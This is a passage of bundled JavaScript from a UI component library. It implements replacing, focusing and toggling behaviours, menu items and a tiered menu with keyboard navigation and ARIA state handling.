        virtualReplaceChildren(parent, data, () => {
          return patchSpecChildren(parent.element, data, parent.getSystem().buildOrPatch);
        });
      }, parent.element);
    };

    const virtualReplace = (component, replacee, replaceeIndex, childSpec) => {
      virtualDetach(replacee);
      const child = patchSpecChild(component.element, replaceeIndex, childSpec, component.getSystem().buildOrPatch);
      virtualAttach(component, child);
      component.syncComponents();
    };
    const insert = (component, insertion, childSpec) => {
      const child = component.getSystem().build(childSpec);
      attachWith(component, child, insertion);
    };
    const replace = (component, replacee, replaceeIndex, childSpec) => {
      detach(replacee);
      insert(component, (p, c) => appendAt(p, c, replaceeIndex), childSpec);
    };
    const set$3 = (component, replaceConfig, replaceState, data) => {
      const replacer = replaceConfig.reuseDom ? withReuse : withoutReuse;
      return replacer(component, data);
    };
    const append = (component, replaceConfig, replaceState, appendee) => {
      insert(component, append$2, appendee);
    };
    const prepend = (component, replaceConfig, replaceState, prependee) => {
      insert(component, prepend$1, prependee);
    };
    const remove = (component, replaceConfig, replaceState, removee) => {
      const children = contents(component);
      const foundChild = find$5(children, child => eq(removee.element, child.element));
      foundChild.each(detach);
    };
    const contents = (component, _replaceConfig) => component.components();
    const replaceAt = (component, replaceConfig, replaceState, replaceeIndex, replacer) => {
      const children = contents(component);
      return Optional.from(children[replaceeIndex]).map(replacee => {
        replacer.fold(() => detach(replacee), r => {
          const replacer = replaceConfig.reuseDom ? virtualReplace : replace;
          replacer(component, replacee, replaceeIndex, r);
        });
        return replacee;
      });
    };
    const replaceBy = (component, replaceConfig, replaceState, replaceePred, replacer) => {
      const children = contents(component);
      return findIndex$1(children, replaceePred).bind(replaceeIndex => replaceAt(component, replaceConfig, replaceState, replaceeIndex, replacer));
    };

    var ReplaceApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        append: append,
        prepend: prepend,
        remove: remove,
        replaceAt: replaceAt,
        replaceBy: replaceBy,
        set: set$3,
        contents: contents
    });

    const Replacing = create$4({
      fields: [defaultedBoolean('reuseDom', true)],
      name: 'replacing',
      apis: ReplaceApis
    });

    const events$d = (name, eventHandlers) => {
      const events = derive$2(eventHandlers);
      return create$4({
        fields: [required$1('enabled')],
        name,
        active: { events: constant$1(events) }
      });
    };
    const config = (name, eventHandlers) => {
      const me = events$d(name, eventHandlers);
      return {
        key: name,
        value: {
          config: {},
          me,
          configAsRaw: constant$1({}),
          initialConfig: {},
          state: NoState
        }
      };
    };

    const focus$2 = (component, focusConfig) => {
      if (!focusConfig.ignore) {
        focus$3(component.element);
        focusConfig.onFocus(component);
      }
    };
    const blur = (component, focusConfig) => {
      if (!focusConfig.ignore) {
        blur$1(component.element);
      }
    };
    const isFocused = component => hasFocus(component.element);

    var FocusApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        focus: focus$2,
        blur: blur,
        isFocused: isFocused
    });

    const exhibit$4 = (base, focusConfig) => {
      const mod = focusConfig.ignore ? {} : { attributes: { tabindex: '-1' } };
      return nu$7(mod);
    };
    const events$c = focusConfig => derive$2([run$1(focus$4(), (component, simulatedEvent) => {
        focus$2(component, focusConfig);
        simulatedEvent.stop();
      })].concat(focusConfig.stopMousedown ? [run$1(mousedown(), (_, simulatedEvent) => {
        simulatedEvent.event.prevent();
      })] : []));

    var ActiveFocus = /*#__PURE__*/Object.freeze({
        __proto__: null,
        exhibit: exhibit$4,
        events: events$c
    });

    var FocusSchema = [
      onHandler('onFocus'),
      defaulted('stopMousedown', false),
      defaulted('ignore', false)
    ];

    const Focusing = create$4({
      fields: FocusSchema,
      name: 'focusing',
      active: ActiveFocus,
      apis: FocusApis
    });

    const SetupBehaviourCellState = initialState => {
      const init = () => {
        const cell = Cell(initialState);
        const get = () => cell.get();
        const set = newState => cell.set(newState);
        const clear = () => cell.set(initialState);
        const readState = () => cell.get();
        return {
          get,
          set,
          clear,
          readState
        };
      };
      return { init };
    };

    const updateAriaState = (component, toggleConfig, toggleState) => {
      const ariaInfo = toggleConfig.aria;
      ariaInfo.update(component, ariaInfo, toggleState.get());
    };
    const updateClass = (component, toggleConfig, toggleState) => {
      toggleConfig.toggleClass.each(toggleClass => {
        if (toggleState.get()) {
          add$2(component.element, toggleClass);
        } else {
          remove$2(component.element, toggleClass);
        }
      });
    };
    const set$2 = (component, toggleConfig, toggleState, state) => {
      const initialState = toggleState.get();
      toggleState.set(state);
      updateClass(component, toggleConfig, toggleState);
      updateAriaState(component, toggleConfig, toggleState);
      if (initialState !== state) {
        toggleConfig.onToggled(component, state);
      }
    };
    const toggle$2 = (component, toggleConfig, toggleState) => {
      set$2(component, toggleConfig, toggleState, !toggleState.get());
    };
    const on = (component, toggleConfig, toggleState) => {
      set$2(component, toggleConfig, toggleState, true);
    };
    const off = (component, toggleConfig, toggleState) => {
      set$2(component, toggleConfig, toggleState, false);
    };
    const isOn = (component, toggleConfig, toggleState) => toggleState.get();
    const onLoad = (component, toggleConfig, toggleState) => {
      set$2(component, toggleConfig, toggleState, toggleConfig.selected);
    };

    var ToggleApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        onLoad: onLoad,
        toggle: toggle$2,
        isOn: isOn,
        on: on,
        off: off,
        set: set$2
    });

    const exhibit$3 = () => nu$7({});
    const events$b = (toggleConfig, toggleState) => {
      const execute = executeEvent(toggleConfig, toggleState, toggle$2);
      const load = loadEvent(toggleConfig, toggleState, onLoad);
      return derive$2(flatten([
        toggleConfig.toggleOnExecute ? [execute] : [],
        [load]
      ]));
    };

    var ActiveToggle = /*#__PURE__*/Object.freeze({
        __proto__: null,
        exhibit: exhibit$3,
        events: events$b
    });

    const updatePressed = (component, ariaInfo, status) => {
      set$9(component.element, 'aria-pressed', status);
      if (ariaInfo.syncWithExpanded) {
        updateExpanded(component, ariaInfo, status);
      }
    };
    const updateSelected = (component, ariaInfo, status) => {
      set$9(component.element, 'aria-selected', status);
    };
    const updateChecked = (component, ariaInfo, status) => {
      set$9(component.element, 'aria-checked', status);
    };
    const updateExpanded = (component, ariaInfo, status) => {
      set$9(component.element, 'aria-expanded', status);
    };

    var ToggleSchema = [
      defaulted('selected', false),
      option$3('toggleClass'),
      defaulted('toggleOnExecute', true),
      onHandler('onToggled'),
      defaultedOf('aria', { mode: 'none' }, choose$1('mode', {
        pressed: [
          defaulted('syncWithExpanded', false),
          output$1('update', updatePressed)
        ],
        checked: [output$1('update', updateChecked)],
        expanded: [output$1('update', updateExpanded)],
        selected: [output$1('update', updateSelected)],
        none: [output$1('update', noop)]
      }))
    ];

    const Toggling = create$4({
      fields: ToggleSchema,
      name: 'toggling',
      active: ActiveToggle,
      apis: ToggleApis,
      state: SetupBehaviourCellState(false)
    });

    const pointerEvents = () => {
      const onClick = (component, simulatedEvent) => {
        simulatedEvent.stop();
        emitExecute(component);
      };
      return [
        run$1(click(), onClick),
        run$1(tap(), onClick),
        cutter(touchstart()),
        cutter(mousedown())
      ];
    };
    const events$a = optAction => {
      const executeHandler = action => runOnExecute$1((component, simulatedEvent) => {
        action(component);
        simulatedEvent.stop();
      });
      return derive$2(flatten([
        optAction.map(executeHandler).toArray(),
        pointerEvents()
      ]));
    };

    const hoverEvent = 'alloy.item-hover';
    const focusEvent = 'alloy.item-focus';
    const toggledEvent = 'alloy.item-toggled';
    const onHover = item => {
      if (search(item.element).isNone() || Focusing.isFocused(item)) {
        if (!Focusing.isFocused(item)) {
          Focusing.focus(item);
        }
        emitWith(item, hoverEvent, { item });
      }
    };
    const onFocus$1 = item => {
      emitWith(item, focusEvent, { item });
    };
    const onToggled = (item, state) => {
      emitWith(item, toggledEvent, {
        item,
        state
      });
    };
    const hover = constant$1(hoverEvent);
    const focus$1 = constant$1(focusEvent);
    const toggled = constant$1(toggledEvent);

    const getItemRole = detail => detail.toggling.map(toggling => toggling.exclusive ? 'menuitemradio' : 'menuitemcheckbox').getOr('menuitem');
    const getTogglingSpec = tConfig => ({
      aria: { mode: 'checked' },
      ...filter$1(tConfig, (_value, name) => name !== 'exclusive'),
      onToggled: (component, state) => {
        if (isFunction(tConfig.onToggled)) {
          tConfig.onToggled(component, state);
        }
        onToggled(component, state);
      }
    });
    const builder$2 = detail => ({
      dom: detail.dom,
      domModification: {
        ...detail.domModification,
        attributes: {
          'role': getItemRole(detail),
          ...detail.domModification.attributes,
          'aria-haspopup': detail.hasSubmenu,
          ...detail.hasSubmenu ? { 'aria-expanded': false } : {}
        }
      },
      behaviours: SketchBehaviours.augment(detail.itemBehaviours, [
        detail.toggling.fold(Toggling.revoke, tConfig => Toggling.config(getTogglingSpec(tConfig))),
        Focusing.config({
          ignore: detail.ignoreFocus,
          stopMousedown: detail.ignoreFocus,
          onFocus: component => {
            onFocus$1(component);
          }
        }),
        Keying.config({ mode: 'execution' }),
        Representing.config({
          store: {
            mode: 'memory',
            initialValue: detail.data
          }
        }),
        config('item-type-events', [
          ...pointerEvents(),
          run$1(mouseover(), onHover),
          run$1(focusItem(), Focusing.focus)
        ])
      ]),
      components: detail.components,
      eventOrder: detail.eventOrder
    });
    const schema$p = [
      required$1('data'),
      required$1('components'),
      required$1('dom'),
      defaulted('hasSubmenu', false),
      option$3('toggling'),
      SketchBehaviours.field('itemBehaviours', [
        Toggling,
        Focusing,
        Keying,
        Representing
      ]),
      defaulted('ignoreFocus', false),
      defaulted('domModification', {}),
      output$1('builder', builder$2),
      defaulted('eventOrder', {})
    ];

    const builder$1 = detail => ({
      dom: detail.dom,
      components: detail.components,
      events: derive$2([stopper(focusItem())])
    });
    const schema$o = [
      required$1('dom'),
      required$1('components'),
      output$1('builder', builder$1)
    ];

    const owner$2 = constant$1('item-widget');
    const parts$h = constant$1([required({
        name: 'widget',
        overrides: detail => {
          return {
            behaviours: derive$1([Representing.config({
                store: {
                  mode: 'manual',
                  getValue: _component => {
                    return detail.data;
                  },
                  setValue: noop
                }
              })])
          };
        }
      })]);

    const builder = detail => {
      const subs = substitutes(owner$2(), detail, parts$h());
      const components = components$1(owner$2(), detail, subs.internals());
      const focusWidget = component => getPart(component, detail, 'widget').map(widget => {
        Keying.focusIn(widget);
        return widget;
      });
      const onHorizontalArrow = (component, simulatedEvent) => inside(simulatedEvent.event.target) ? Optional.none() : (() => {
        if (detail.autofocus) {
          simulatedEvent.setSource(component.element);
          return Optional.none();
        } else {
          return Optional.none();
        }
      })();
      return {
        dom: detail.dom,
        components,
        domModification: detail.domModification,
        events: derive$2([
          runOnExecute$1((component, simulatedEvent) => {
            focusWidget(component).each(_widget => {
              simulatedEvent.stop();
            });
          }),
          run$1(mouseover(), onHover),
          run$1(focusItem(), (component, _simulatedEvent) => {
            if (detail.autofocus) {
              focusWidget(component);
            } else {
              Focusing.focus(component);
            }
          })
        ]),
        behaviours: SketchBehaviours.augment(detail.widgetBehaviours, [
          Representing.config({
            store: {
              mode: 'memory',
              initialValue: detail.data
            }
          }),
          Focusing.config({
            ignore: detail.ignoreFocus,
            onFocus: component => {
              onFocus$1(component);
            }
          }),
          Keying.config({
            mode: 'special',
            focusIn: detail.autofocus ? component => {
              focusWidget(component);
            } : revoke(),
            onLeft: onHorizontalArrow,
            onRight: onHorizontalArrow,
            onEscape: (component, simulatedEvent) => {
              if (!Focusing.isFocused(component) && !detail.autofocus) {
                Focusing.focus(component);
                return Optional.some(true);
              } else if (detail.autofocus) {
                simulatedEvent.setSource(component.element);
                return Optional.none();
              } else {
                return Optional.none();
              }
            }
          })
        ])
      };
    };
    const schema$n = [
      required$1('uid'),
      required$1('data'),
      required$1('components'),
      required$1('dom'),
      defaulted('autofocus', false),
      defaulted('ignoreFocus', false),
      SketchBehaviours.field('widgetBehaviours', [
        Representing,
        Focusing,
        Keying
      ]),
      defaulted('domModification', {}),
      defaultUidsSchema(parts$h()),
      output$1('builder', builder)
    ];

    const itemSchema$2 = choose$1('type', {
      widget: schema$n,
      item: schema$p,
      separator: schema$o
    });
    const configureGrid = (detail, movementInfo) => ({
      mode: 'flatgrid',
      selector: '.' + detail.markers.item,
      initSize: {
        numColumns: movementInfo.initSize.numColumns,
        numRows: movementInfo.initSize.numRows
      },
      focusManager: detail.focusManager
    });
    const configureMatrix = (detail, movementInfo) => ({
      mode: 'matrix',
      selectors: {
        row: movementInfo.rowSelector,
        cell: '.' + detail.markers.item
      },
      previousSelector: movementInfo.previousSelector,
      focusManager: detail.focusManager
    });
    const configureMenu = (detail, movementInfo) => ({
      mode: 'menu',
      selector: '.' + detail.markers.item,
      moveOnTab: movementInfo.moveOnTab,
      focusManager: detail.focusManager
    });
    const parts$g = constant$1([group({
        factory: {
          sketch: spec => {
            const itemInfo = asRawOrDie$1('menu.spec item', itemSchema$2, spec);
            return itemInfo.builder(itemInfo);
          }
        },
        name: 'items',
        unit: 'item',
        defaults: (detail, u) => {
          return has$2(u, 'uid') ? u : {
            ...u,
            uid: generate$5('item')
          };
        },
        overrides: (detail, u) => {
          return {
            type: u.type,
            ignoreFocus: detail.fakeFocus,
            domModification: { classes: [detail.markers.item] }
          };
        }
      })]);
    const schema$m = constant$1([
      required$1('value'),
      required$1('items'),
      required$1('dom'),
      required$1('components'),
      defaulted('eventOrder', {}),
      field('menuBehaviours', [
        Highlighting,
        Representing,
        Composing,
        Keying
      ]),
      defaultedOf('movement', {
        mode: 'menu',
        moveOnTab: true
      }, choose$1('mode', {
        grid: [
          initSize(),
          output$1('config', configureGrid)
        ],
        matrix: [
          output$1('config', configureMatrix),
          required$1('rowSelector'),
          defaulted('previousSelector', Optional.none)
        ],
        menu: [
          defaulted('moveOnTab', true),
          output$1('config', configureMenu)
        ]
      })),
      itemMarkers(),
      defaulted('fakeFocus', false),
      defaulted('focusManager', dom$2()),
      onHandler('onHighlight'),
      onHandler('onDehighlight')
    ]);

    const focus = constant$1('alloy.menu-focus');

    const deselectOtherRadioItems = (menu, item) => {
      const checkedRadioItems = descendants(menu.element, '[role="menuitemradio"][aria-checked="true"]');
      each$1(checkedRadioItems, ele => {
        if (!eq(ele, item.element)) {
          menu.getSystem().getByDom(ele).each(c => {
            Toggling.off(c);
          });
        }
      });
    };
    const make$7 = (detail, components, _spec, _externals) => ({
      uid: detail.uid,
      dom: detail.dom,
      markers: detail.markers,
      behaviours: augment(detail.menuBehaviours, [
        Highlighting.config({
          highlightClass: detail.markers.selectedItem,
          itemClass: detail.markers.item,
          onHighlight: detail.onHighlight,
          onDehighlight: detail.onDehighlight
        }),
        Representing.config({
          store: {
            mode: 'memory',
            initialValue: detail.value
          }
        }),
        Composing.config({ find: Optional.some }),
        Keying.config(detail.movement.config(detail, detail.movement))
      ]),
      events: derive$2([
        run$1(focus$1(), (menu, simulatedEvent) => {
          const event = simulatedEvent.event;
          menu.getSystem().getByDom(event.target).each(item => {
            Highlighting.highlight(menu, item);
            simulatedEvent.stop();
            emitWith(menu, focus(), {
              menu,
              item
            });
          });
        }),
        run$1(hover(), (menu, simulatedEvent) => {
          const item = simulatedEvent.event.item;
          Highlighting.highlight(menu, item);
        }),
        run$1(toggled(), (menu, simulatedEvent) => {
          const {item, state} = simulatedEvent.event;
          if (state && get$f(item.element, 'role') === 'menuitemradio') {
            deselectOtherRadioItems(menu, item);
          }
        })
      ]),
      components,
      eventOrder: detail.eventOrder,
      domModification: { attributes: { role: 'menu' } }
    });

    const Menu = composite({
      name: 'Menu',
      configFields: schema$m(),
      partFields: parts$g(),
      factory: make$7
    });

    const transpose$1 = obj => tupleMap(obj, (v, k) => ({
      k: v,
      v: k
    }));
    const trace = (items, byItem, byMenu, finish) => get$g(byMenu, finish).bind(triggerItem => get$g(items, triggerItem).bind(triggerMenu => {
      const rest = trace(items, byItem, byMenu, triggerMenu);
      return Optional.some([triggerMenu].concat(rest));
    })).getOr([]);
    const generate$2 = (menus, expansions) => {
      const items = {};
      each(menus, (menuItems, menu) => {
        each$1(menuItems, item => {
          items[item] = menu;
        });
      });
      const byItem = expansions;
      const byMenu = transpose$1(expansions);
      const menuPaths = map$1(byMenu, (_triggerItem, submenu) => [submenu].concat(trace(items, byItem, byMenu, submenu)));
      return map$1(items, menu => get$g(menuPaths, menu).getOr([menu]));
    };

    const init$c = () => {
      const expansions = Cell({});
      const menus = Cell({});
      const paths = Cell({});
      const primary = value$2();
      const directory = Cell({});
      const clear = () => {
        expansions.set({});
        menus.set({});
        paths.set({});
        primary.clear();
      };
      const isClear = () => primary.get().isNone();
      const setMenuBuilt = (menuName, built) => {
        menus.set({
          ...menus.get(),
          [menuName]: {
            type: 'prepared',
            menu: built
          }
        });
      };
      const setContents = (sPrimary, sMenus, sExpansions, dir) => {
        primary.set(sPrimary);
        expansions.set(sExpansions);
        menus.set(sMenus);
        directory.set(dir);
        const sPaths = generate$2(dir, sExpansions);
        paths.set(sPaths);
      };
      const getTriggeringItem = menuValue => find$4(expansions.get(), (v, _k) => v === menuValue);
      const getTriggerData = (menuValue, getItemByValue, path) => getPreparedMenu(menuValue).bind(menu => getTriggeringItem(menuValue).bind(triggeringItemValue => getItemByValue(triggeringItemValue).map(triggeredItem => ({
        triggeredMenu: menu,
        triggeringItem: triggeredItem,
        triggeringPath: path
      }))));
      const getTriggeringPath = (itemValue, getItemByValue) => {
        const extraPath = filter$2(lookupItem(itemValue).toArray(), menuValue => getPreparedMenu(menuValue).isSome());
        return get$g(paths.get(), itemValue).bind(path => {
          const revPath = reverse(extraPath.concat(path));
          const triggers = bind$3(revPath, (menuValue, menuIndex) => getTriggerData(menuValue, getItemByValue, revPath.slice(0, menuIndex + 1)).fold(() => is$1(primary.get(), menuValue) ? [] : [Optional.none()], data => [Optional.some(data)]));
          return sequence(triggers);
        });
      };
      const expand = itemValue => get$g(expansions.get(), itemValue).map(menu => {
        const current = get$g(paths.get(), itemValue).getOr([]);
        return [menu].concat(current);
      });
      const collapse = itemValue => get$g(paths.get(), itemValue).bind(path => path.length > 1 ? Optional.some(path.slice(1)) : Optional.none());
      const refresh = itemValue => get$g(paths.get(), itemValue);
      const getPreparedMenu = menuValue => lookupMenu(menuValue).bind(extractPreparedMenu);
      const lookupMenu = menuValue => get$g(menus.get(), menuValue);
      const lookupItem = itemValue => get$g(expansions.get(), itemValue);
      const otherMenus = path => {
        const menuValues = directory.get();
        return difference(keys(menuValues), path);
      };
      const getPrimary = () => primary.get().bind(getPreparedMenu);
      const getMenus = () => menus.get();
      return {
        setMenuBuilt,
        setContents,
        expand,
        refresh,
        collapse,
        lookupMenu,
        lookupItem,
        otherMenus,
        getPrimary,
        getMenus,
        clear,
        isClear,
        getTriggeringPath
      };
    };
    const extractPreparedMenu = prep => prep.type === 'prepared' ? Optional.some(prep.menu) : Optional.none();
    const LayeredState = {
      init: init$c,
      extractPreparedMenu
    };

    const onMenuItemHighlightedEvent = generate$6('tiered-menu-item-highlight');
    const onMenuItemDehighlightedEvent = generate$6('tiered-menu-item-dehighlight');

    var HighlightOnOpen;
    (function (HighlightOnOpen) {
      HighlightOnOpen[HighlightOnOpen['HighlightMenuAndItem'] = 0] = 'HighlightMenuAndItem';
      HighlightOnOpen[HighlightOnOpen['HighlightJustMenu'] = 1] = 'HighlightJustMenu';
      HighlightOnOpen[HighlightOnOpen['HighlightNone'] = 2] = 'HighlightNone';
    }(HighlightOnOpen || (HighlightOnOpen = {})));

    const make$6 = (detail, _rawUiSpec) => {
      const submenuParentItems = value$2();
      const buildMenus = (container, primaryName, menus) => map$1(menus, (spec, name) => {
        const makeSketch = () => Menu.sketch({
          ...spec,
          value: name,
          markers: detail.markers,
          fakeFocus: detail.fakeFocus,
          onHighlight: (menuComp, itemComp) => {
            const highlightData = {
              menuComp,
              itemComp
            };
            emitWith(menuComp, onMenuItemHighlightedEvent, highlightData);
          },
          onDehighlight: (menuComp, itemComp) => {
            const dehighlightData = {
              menuComp,
              itemComp
            };
            emitWith(menuComp, onMenuItemDehighlightedEvent, dehighlightData);
          },
          focusManager: detail.fakeFocus ? highlights() : dom$2()
        });
        return name === primaryName ? {
          type: 'prepared',
          menu: container.getSystem().build(makeSketch())
        } : {
          type: 'notbuilt',
          nbMenu: makeSketch
        };
      });
      const layeredState = LayeredState.init();
      const setup = container => {
        const componentMap = buildMenus(container, detail.data.primary, detail.data.menus);
        const directory = toDirectory();
        layeredState.setContents(detail.data.primary, componentMap, detail.data.expansions, directory);
        return layeredState.getPrimary();
      };
      const getItemValue = item => Representing.getValue(item).value;
      const getItemByValue = (_container, menus, itemValue) => findMap(menus, menu => {
        if (!menu.getSystem().isConnected()) {
          return Optional.none();
        }
        const candidates = Highlighting.getCandidates(menu);
        return find$5(candidates, c => getItemValue(c) === itemValue);
      });
      const toDirectory = _container => map$1(detail.data.menus, (data, _menuName) => bind$3(data.items, item => item.type === 'separator' ? [] : [item.data.value]));
      const setActiveMenu = Highlighting.highlight;
      const setActiveMenuAndItem = (container, menu) => {
        setActiveMenu(container, menu);
        Highlighting.getHighlighted(menu).orThunk(() => Highlighting.getFirst(menu)).each(item => {
          if (detail.fakeFocus) {
            Highlighting.highlight(menu, item);
          } else {
            dispatch(container, item.element, focusItem());
          }
        });
      };
      const getMenus = (state, menuValues) => cat(map$2(menuValues, mv => state.lookupMenu(mv).bind(prep => prep.type === 'prepared' ? Optional.some(prep.menu) : Optional.none())));
      const closeOthers = (container, state, path) => {
        const others = getMenus(state, state.otherMenus(path));
        each$1(others, o => {
          remove$1(o.element, [detail.markers.backgroundMenu]);
          if (!detail.stayInDom) {
            Replacing.remove(container, o);
          }
        });
      };
      const getSubmenuParents = container => submenuParentItems.get().getOrThunk(() => {
        const r = {};
        const items = descendants(container.element, `.${ detail.markers.item }`);
        const parentItems = filter$2(items, i => get$f(i, 'aria-haspopup') === 'true');
        each$1(parentItems, i => {
          container.getSystem().getByDom(i).each(itemComp => {
            const key = getItemValue(itemComp);
            r[key] = itemComp;
          });
        });
        submenuParentItems.set(r);
        return r;
      });
      const updateAriaExpansions = (container, path) => {
        const parentItems = getSubmenuParents(container);
        each(parentItems, (v, k) => {
          const expanded = contains$2(path, k);
          set$9(v.element, 'aria-expanded', expanded);
        });
      };
      const updateMenuPath = (container, state, path) => Optional.from(path[0]).bind(latestMenuName => state.lookupMenu(latestMenuName).bind(menuPrep => {
        if (menuPrep.type === 'notbuilt') {
          return Optional.none();
        } else {
          const activeMenu = menuPrep.menu;
          const rest = getMenus(state, path.slice(1));
          each$1(rest, r => {
            add$2(r.element, detail.markers.backgroundMenu);
          });
          if (!inBody(activeMenu.element)) {
            Replacing.append(container, premade(activeMenu));
          }
          remove$1(activeMenu.element, [detail.markers.backgroundMenu]);
          setActiveMenuAndItem(container, activeMenu);
          closeOthers(container, state, path);
          return Optional.some(activeMenu);
        }
      }));
      let ExpandHighlightDecision;
      (function (ExpandHighlightDecision) {
        ExpandHighlightDecision[ExpandHighlightDecision['HighlightSubmenu'] = 0] = 'HighlightSubmenu';
        ExpandHighlightDecision[ExpandHighlightDecision['HighlightParent'] = 1] = 'HighlightParent';
      }(ExpandHighlightDecision || (ExpandHighlightDecision = {})));
      const buildIfRequired = (container, menuName, menuPrep) => {
        if (menuPrep.type === 'notbuilt') {
          const menu = container.getSystem().build(menuPrep.nbMenu());
          layeredState.setMenuBuilt(menuName, menu);
          return menu;
        } else {
          return menuPrep.menu;
        }
      };
      const expandRight = (container, item, decision = ExpandHighlightDecision.HighlightSubmenu) => {
        if (item.hasConfigured(Disabling) && Disabling.isDisabled(item)) {
          return Optional.some(item);
        } else {
          const value = getItemValue(item);
          return layeredState.expand(value).bind(path => {
            updateAriaExpansions(container, path);
            return Optional.from(path[0]).bind(menuName => layeredState.lookupMenu(menuName).bind(activeMenuPrep => {
              const activeMenu = buildIfRequired(container, menuName, activeMenuPrep);
              if (!inBody(activeMenu.element)) {
                Replacing.append(container, premade(activeMenu));
              }
              detail.onOpenSubmenu(container, item, activeMenu, reverse(path));
              if (decision === ExpandHighlightDecision.HighlightSubmenu) {
                Highlighting.highlightFirst(activeMenu);
                return updateMenuPath(container, layeredState, path);
              } else {
                Highlighting.dehighlightAll(activeMenu);
                return Optional.some(item);
              }
            }));
          });
        }
      };
      const collapseLeft = (container, item) => {
        const value = getItemValue(item);
        return layeredState.collapse(value).bind(path => {
          updateAriaExpansions(container, path);
          return updateMenuPath(container, layeredState, path).map(activeMenu => {
            detail.onCollapseMenu(container, item, activeMenu);
            return activeMenu;
          });
        });
      };
      const updateView = (container, item) => {
        const value = getItemValue(item);
        return layeredState.refresh(value).bind(path => {
          updateAriaExpansions(container, path);
          return updateMenuPath(container, layeredState, path);
        });
      };
      const onRight = (container, item) => inside(item.element) ? Optional.none() : expandRight(container, item, ExpandHighlightDecision.HighlightSubmenu);
      const onLeft = (container, item) => inside(item.element) ? Optional.none() : collapseLeft(container, item);
      const onEscape = (container, item) => collapseLeft(container, item).orThunk(() => detail.onEscape(container, item).map(() => container));
      const keyOnItem = f => (container, simulatedEvent) => {
        return closest$1(simulatedEvent.getSource(), `.${ detail.markers.item }`).bind(target => container.getSystem().getByDom(target).toOptional().bind(item => f(container, item).map(always)));
      };
      const events = derive$2([
        run$1(focus(), (tmenu, simulatedEvent) => {
          const item = simulatedEvent.event.item;
          layeredState.lookupItem(getItemValue(item)).each(() => {
            const menu = simulatedEvent.event.menu;
            Highlighting.highlight(tmenu, menu);
            const value = getItemValue(simulatedEvent.event.item);
            layeredState.refresh(value).each(path => closeOthers(tmenu, layeredState, path));
          });
        }),
        runOnExecute$1((component, simulatedEvent) => {
          const target = simulatedEvent.event.target;
          component.getSystem().getByDom(target).each(item => {
            const itemValue = getItemValue(item);
            if (itemValue.indexOf('collapse-item') === 0) {
              collapseLeft(component, item);
            }
            expandRight(component, item, ExpandHighlightDecision.HighlightSubmenu).fold(() => {
              detail.onExecute(component, item);
            }, noop);
          });
        }),
        runOnAttached((container, _simulatedEvent) => {
          setup(container).each(primary => {
            Replacing.append(container, premade(primary));
            detail.onOpenMenu(container, primary);
            if (detail.highlightOnOpen === HighlightOnOpen.HighlightMenuAndItem) {
              setActiveMenuAndItem(container, primary);
            } else if (detail.highlightOnOpen === HighlightOnOpen.HighlightJustMenu) {
              setActiveMenu(container, primary);
            }
          });
        }),
        run$1(onMenuItemHighlightedEvent, (tmenuComp, se) => {
          detail.onHighlightItem(tmenuComp, se.event.menuComp, se.event.itemComp);
        }),
        run$1(onMenuItemDehighlightedEvent, (tmenuComp, se) => {
          detail.onDehighlightItem(tmenuComp, se.event.menuComp, se.event.itemComp);
        }),
        ...detail.navigateOnHover ? [run$1(hover(), (tmenu, simulatedEvent) => {
            const item = simulatedEvent.event.item;
            updateView(tmenu, item);
            expandRight(tmenu, item, ExpandHighlightDecision.HighlightParent);
            detail.onHover(tmenu, item);
          })] : []
      ]);
      const getActiveItem = container => Highlighting.getHighlighted(container).bind(Highlighting.getHighlighted);
      const collapseMenuApi = container => {
        getActiveItem(container).each(currentItem => {
          collapseLeft(container, currentItem);
        });
      };
      const highlightPrimary = container => {
        layeredState.getPrimary().each(primary => {
          setActiveMenuAndItem(container, primary);
        });
      };
      const extractMenuFromContainer = container => Optional.from(container.components()[0]).filter(comp => get$f(comp.element, 'role') === 'menu');
      const repositionMenus = container => {
        const maybeActivePrimary = layeredState.getPrimary().bind(primary => getActiveItem(container).bind(currentItem => {
          const itemValue = getItemValue(currentItem);
          const allMenus = values(layeredState.getMenus());
          const preparedMenus = cat(map$2(allMenus, LayeredState.extractPreparedMenu));
          return layeredState.getTriggeringPath(itemValue, v => getItemByValue(container, preparedMenus, v));
        }).map(triggeringPath => ({
          primary,
          triggeringPath
        })));
        maybeActivePrimary.fold(() => {
          extractMenuFromContainer(container).each(primaryMenu => {
            detail.onRepositionMenu(container, primaryMenu, []);
          });
        }, ({primary, triggeringPath}) => {
          detail.onRepositionMenu(container, primary, triggeringPath);
        });
      };
      const apis = {
        collapseMenu: collapseMenuApi,
        highlightPrimary,
        repositionMenus
      };
      return {
        uid: detail.uid,
        dom: detail.dom,
        markers: detail.markers,
        behaviours: augment(detail.tmenuBehaviours, [
          Keying.config({
            mode: 'special',
            onRight: keyOnItem(onRight),
            onLeft: keyOnItem(onLeft),
            onEscape: keyOnItem(onEscape),
            focusIn: (container, _keyInfo) => {
              layeredState.getPrimary().each(primary => {
                dispatch(container, primary.element, focusItem());
              });
            }
          }),
          Highlighting.config({
            highlightClass: detail.markers.selectedMenu,
            itemClass: detail.markers.menu
          }),
          Composing.config({
            find: container => {
              return Highlighting.getHighlighted(container);
            }
          }),
          Replacing.config({})
        ]),
        eventOrder: detail.eventOrder,
        apis,
        events
      };
    };
    const collapseItem$1 = constant$1('collapse-item');

    const tieredData = (primary, menus, expansions) => ({
      primary,
      menus,
      expansions
    });
    const singleData = (name, menu) => ({
      primary: name,
      menus: wrap$1(name, menu),
      expansions: {}
    });
    const collapseItem = text => ({
      value: generate$6(collapseItem$1()),
      meta: { text }
    });
    const tieredMenu = single({
      name: 'TieredMenu',
      configFields: [
        onStrictKeyboardHandler('onExecute'),
        onStrictKeyboardHandler('onEscape'),
        onStrictHandler('onOpenMenu'),
        onStrictHandler('onOpenSubmenu'),
        onHandler('onRepositionMenu'),
        onHandler('onCollapseMenu'),
        defaulted('highlightOnOpen', HighlightOnOpen.HighlightMenuAndItem),
        requiredObjOf('data', [
          required$1('primary'),
          required$1('menus'),
          required$1('expansions')
        ]),
        defaulted('fakeFocus', false),
        onHandler('onHighlightItem'),
        onHandler('onDehighlightItem'),
        onHandler('onHover'),
        tieredMenuMarkers(),
        required$1('dom'),
        defaulted('navigateOnHover', true),
        defaulted('stayInDom', false),
        field('tmenuBehaviours', [
          Keying,
          Highlighting,
          Composing,
          Replacing
        ]),
        defaulted('eventOrder', {})
      ],
      apis: {
        collapseMenu: (apis, tmenu) => {
          apis.collapseMenu(tmenu);
        },
        highlightPrimary: (apis, tmenu) => {
          apis.highlightPrimary(tmenu);
        },
